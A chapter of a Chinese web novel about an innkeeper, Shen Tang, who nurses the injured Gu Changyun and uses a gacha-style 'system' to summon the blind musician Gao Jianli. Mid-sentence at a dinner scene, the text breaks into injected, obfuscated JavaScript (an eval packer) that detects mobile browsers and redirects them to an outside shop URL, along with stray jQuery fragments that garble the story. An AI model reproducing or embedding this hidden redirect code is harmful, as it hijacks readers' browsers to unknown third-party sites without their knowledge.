顾长云住下来的第二天，沈棠早起推开灶房门的时候，看见他已经坐在院子里了。
他坐在台阶上，手里没有拿东西，身上穿着那件沈伯的旧外衣，袖口卷了两圈，露着手腕。
他听见门响回过头来看了她一眼，没有说话。
沈棠端着水盆在院子里站了一会儿，也没有开口。
两个人隔着几丈远各待各的，谁也没有先开口的意思。
风从院墙外面穿过来，带着晨间湿润的草叶气味，混着灶房里还没有完全散尽的柴火烟气，在她和他之间的地面上绕了一小圈，又散了。
沈棠低头把盆里的水泼在墙根下，转身回了灶房。
王小余正在灶台前面揉面，看见她进来时多看了她一眼，又看了一眼院子里那个方向，什么也没有说，把案板上的面团翻了个面继续揉。
灶台上已经烧好了热水，沈棠把米淘了，下锅，盖上盖子，坐在灶台边的小凳上等粥煮开。
院子里传来脚步声，是木板被踩过时那种微微的响动，像有人从台阶上站了起来，在原地站了一会儿，然后沿着院墙走了几步又停下了。
沈棠没有抬头，继续看着灶膛里的火苗，火苗在灶口边沿跳着，把她的脸颊映出一层暖色。
过了一会儿脚步声往灶房这边过来了，停在了门口。
沈棠抬头，看见顾长云站在灶房门口，没有进来，也没有说话，就站在门槛外面。
沈棠问他吃粥还是吃面。
他说：“粥。”
沈棠站起来掀开锅盖，往粥里加了一小勺盐，搅了搅，盛了一碗放在灶台边沿。
顾长云走进来端起那碗粥，没有在灶房里停留，端着碗出去坐在院子里的台阶上喝。
沈棠站在灶房门口看着他的背影，晨光从东边斜照过来落在他肩膀上，旧外衣的灰蓝色被光线照淡了一些，像是褪了一层颜色。
他低头喝粥的时候脊背微微弯着，像是还没有完全缓过来，又像是他习惯了这个姿势，不想让伤口绷直。
沈棠看了一会儿，没有走出去，转身回了灶房，把锅盖重新盖上，灶膛里的火已经小了一些，她又添了一根柴。
灶台边沿的水渍还没有干，在晨光里泛着细碎的反光，像是谁不小心留在那里的几点碎银子。
沈棠拿起抹布擦了一下，把手擦干净了，才重新坐下来。
她坐下来之后没有立刻起身，靠在灶台边沿看着窗外透进来的光，窗外那棵树的枝条上还挂着几片枯叶，风一吹就轻轻晃着，没有落下来。
那些叶子在枝头打着旋儿，像在犹豫着什么，最终还是回到了原来的位置上。
上午，沈棠在大堂擦柜台的时候听见后院传来劈柴的声音。
那声音不重，一下一下的，像是落在什么柔软的东西上，又像是落在了人的心口上。
她放下抹布走到后门，看见顾长云站在柴堆旁边，手里握着那把旧斧头，正把一根木头劈成两半。
他劈的动作不快，每一次落斧之前都会停一下，像是扯到腰侧的伤口了。
沈棠站在后门口没有过去，看了几息，开口说了一句：“你在养伤，劈什么柴？”
顾长云没有停下来：“坐着也是坐着。”
说完又落了一斧，木头从中间裂开，滚到两边，露出新鲜湿润的木质纹理。
沈棠没有再拦他，转身回了大堂。
她走到柜台后面坐下来翻开账本，视线落在纸页上却没有在看，耳朵还听着后院那边传来的声响，一下接一下，每一次落斧都比上一次迟了一点，但始终没有停。
她坐了一会儿，翻了一页纸，什么也没有写上去，把账本合上了。
她又坐了一会儿才站起来，走到灶房门口朝后院的方向看了一眼。
顾长云已经把劈好的柴码成了一小堆，正弯腰把散落的碎木屑拢到墙根下，动作不急不慢，像是已经习惯了做这些事。
那些碎木屑在他手底下聚拢又分开，像是被风赶着走的旧日子。
中午吃饭的时候，顾长云坐在角落那张老位置上，沈棠端了一碗汤面放在他面前，碗边搁了一双筷子，面里卧了一个荷包蛋。
顾长云低头看了一眼，没有推辞，拿起筷子开始吃。
他吃面的习惯和以前一样，第一口先喝汤，然后才夹面，吃得不快不慢，像是很认真地在吃每一口。
沈棠在他对面坐下来端了一碗白粥慢慢喝，两个人隔着桌面谁也没有说话。
碗筷碰撞的细响、吞咽的轻微声响、风从门缝里灌进来时带起的细小呜咽，都在那张老旧的桌面上方慢慢聚拢，又慢慢散开。
桌面上的木纹已经被磨得发亮了，边角处有一道深深浅浅的刻痕，不知道是多少年前的旧物留下来的。
过了一会儿，沈棠先开了口：“你的伤，需要换药了。”
顾长云说：“吃完饭换。”
沈棠没有再说话，继续喝粥。
她喝得很慢，像在等他把面吃完才站起来，又像是在等别的东西，等她自己也说不清楚的东西。
当天下午，沈棠在灶房准备晚饭的时候，发现系统面板上多了一条提示。
她擦了擦手点开看，上面写着：“清楼运转稳定，新酒已酿成试销，任务完成度已达预期。建议宿主尽快使用剩余抽卡次数。”
沈棠关了面板，没有着急，继续把案板上已经切好的萝卜码进盘子里，又转头看了一眼灶台下的火。
火苗舔着锅底，发出细微的噼啪声，像是有什么话要说又咽了回去。
等手上的活都做完了，她才站到灶台后面，点开抽卡界面。
金色光幕展开的时候，三张牌背面朝上旋转了一圈。
中间那张先翻了过来，一个中年男子的轮廓浮现在光影之中，穿着墨绿色的旧袍，身形清瘦，面容安静，眉目之间有一种说不出的沉郁。
系统的说明在光幕下方滚动出来：
「卡牌：高渐离。战国末期燕国乐师，以击筑闻名于世。荆轲挚友。易水送别时击筑和歌，荆轲刺秦失败后隐姓埋名，后被秦始皇熏瞎双眼。在客栈拟安置于杂役或演艺之位，可在晚间于清楼击筑助兴。」
沈棠看完说明，没有立刻召唤他出来。
她先走出灶房看了一下清楼的方向，又看了看院子里正在劈柴的顾长云。
他背对着她，斧头落下去的声音还在响着，一下接一下，均匀而稳，像是这个院子里最真实的那一部分。
沈棠看了一会儿，收回目光，回到灶台后面，对着系统面板点了确认。
一阵细微的光闪过，像风吹过水面时泛起的那层涟漪一样，在她身后的灶房角落里拢成一团，又散开了。
一个男人不知道什么时候出现在灶房门口。
他穿着一件洗得发白的旧衫，身形偏瘦，双手垂在身侧，没有拿任何东西。
他的眼睛是闭着的，像是看不见，又像是在听什么。
他站在那里，侧耳朝向灶台的方向，像是在分辨锅里的声响和屋外的风声之间的距离，又像是在听更远处的东西。
过了片刻，他才开口：“这里有人击筑吗？”
沈棠说：“有清楼，晚上可以。”
他点了点头，没有多问，只在灶房门口找了一个角落坐下来。
他坐下来的时候手在大腿侧面碰了一下，像是习惯性想去摸什么东西，但那里是空的，他的手指在衣料上停了一瞬便收了回来，搁在膝上，不再动了。
他的呼吸很轻，轻到几乎听不见，像是把自己藏进了一个只有声音才能抵达的地方。
当天傍晚，沈棠叫了所有人来大堂吃饭。
王小余、毛玠、越女、沈伯、刘三、孙婶、阿兰、阿秀、顾长云，加上刚来的高渐离，围了两张桌子。
高渐离坐在角落里安静地听着，没有动筷子，像是光靠耳朵就已经把那桌饭菜的样子全听明白了。
沈棠给大家做了介绍，说高渐离是“新来的，以后晚上会在清楼弹琴”。
众人看了他一眼，见他闭着眼睛，没有人多问什么，只是各自把面前的碗挪了挪，给他腾出一点更大的位置。
顾长云坐在另一张桌子边上，抬眼看了一下高渐离，又低头继续吃自己的饭，筷子的动作连停都没有停。
饭吃到一半的时候，阿兰忽然开口：“小姐，我今天在城里听说了一件事。”
她放下筷子，“北边的仗好像停了。不是打完了，是两边都在退，谁也不往前了。说是冬天到了，粮草运不上来。”
沈棠端着碗的手顿了一下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17740620|206393||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
毛玠问了一句：“退到哪里了？”
阿兰说：“退到淮河以北了，南边暂时不用怕了。”
饭桌上的气氛松了一下，阿秀小声说了一句“那过年可以好好过了”。
孙婶给她夹了一块肉，没有说话，只是拍了拍她的肩膀。
顾长云听了之后没有抬头，继续吃他的饭，只是夹菜的动作慢了一拍，像是那句话在他的念头里碰了一下，又从他那一侧沿着桌沿滑过去了，没有留在手里。
他低头咀嚼的时候，下巴的线条绷得很紧，像在忍着什么。
饭后沈棠收拾碗筷的时候，顾长云走过来帮她端盘子。
他端得不太稳，一只手托着盘底，另一只手扶着盘沿，像是腰侧的伤口还在扯着。
沈棠伸手去接：“我来。”
他没有让开：“没事。”
两个人站在灶房门口，盘子在他手里端了一会儿，他弯腰把它放到了灶台上。
沈棠站在他身后，看见他弯腰的时候动作停了一下，像是被什么牵住了，又没有说什么。
她也没有问，等着他慢慢直起身来，才侧身从他旁边走过去，把灶台上的碗碟收进木盆里，开始洗。
水是凉的，她的手指浸进去的时候微微蜷了一下。
当天夜里，高渐离在清楼弹了第一次。
琴声从清楼的窗缝里漏出来，穿过院子，落在大堂的台阶上。
沈棠坐在柜台后面听了一会儿，曲调她不认得，像是很久以前流传下来的东西，每一个音都拖得很长，像一根线被慢慢拉远，又慢慢收回来。
那根线在夜色里绕来绕去，绕到了院墙上头，又绕回窗棂底下，最后缠在了门环上，轻轻叩了两下，又松开了。
顾长云坐在大堂角落的老位置上，靠着椅背，没有点灯，听着那个曲调慢慢响着。
他坐的姿势很稳，双手搁在扶手上，指尖轻轻搭着，像是在那根线上按住了某个点，不让它飘走。
琴声停了之后，院子里安静了很久，风从清楼那边绕了一圈，又穿过了院门，带走了最后一缕尾音。
深夜，沈棠锁好大门之后在柜台后面坐了一会儿。
灯芯已经烧短了一截，她把灯芯拨高了一些，火苗跳了跳，又稳住了。
大堂安静得厉害，安静到她能听见自己翻账本时纸页摩擦的声响，能听见风从门缝里挤进来在门槛上打了个转又退出去的声响。
她合上账本站起来，走到楼梯口的时候抬头看了一眼走廊尽头那扇门，门缝底下透出一线极淡的光。
她看了一会儿，光没有灭。
她没有走上去，在楼梯口站了一会儿，转身回了后院。
窗外的月亮在云层后面穿行，光落下来的时候是凉的，收回去的时候也是凉的。
她闭着眼睛，指尖在被褥上轻轻蜷了一下又松开了。
风还在刮，从院墙外头穿过来，穿过晾衣绳和空荡荡的院子，穿过她还没来得及收回屋里的最后一件旧衣裳的衣摆，然后沿着墙根往远处去了。
沈棠翻了个身，没有再动。
灶膛里的火已经灭了，灰烬底下还剩一点余热，正在一点点地凉下去，像是那一整天积攒下来的暖意正在被夜一点一点地收走。
她闭上眼睛之后，听见风穿过院墙缝隙，听见远处传来极轻的犬吠，听见二楼走廊尽头那扇门又响了一声，像是有人走出来，在走廊里站了一会儿，又回去了。
她没有睁开眼，也没有翻身，继续躺着，等着那些声音一个一个地消失，等着夜重新安静下来。
过了一会儿，她听见后院传来一阵极轻的脚步声，像是有人从楼上下来，在院子里站了片刻，又回去了。
她没有动，继续躺着，直到脚步声完全消失，才微微睁开眼看了一眼窗外的月光。
月光落在地面上，像一层薄薄的旧灰，均匀地铺着，没有任何痕迹，仿佛什么都没有来过。
她侧过头，重新合上眼，把被子往上拉了拉，沉沉地睡了过去，没有再做任何多余的梦。
那一夜的风后来停了，月光也没有再移动，就那样定定地照着院子里的青砖和枯枝，照着灶房门口搁着的那把旧斧头，照着清楼二楼虚掩的窗，照着一院子的安静，一直照到了天亮。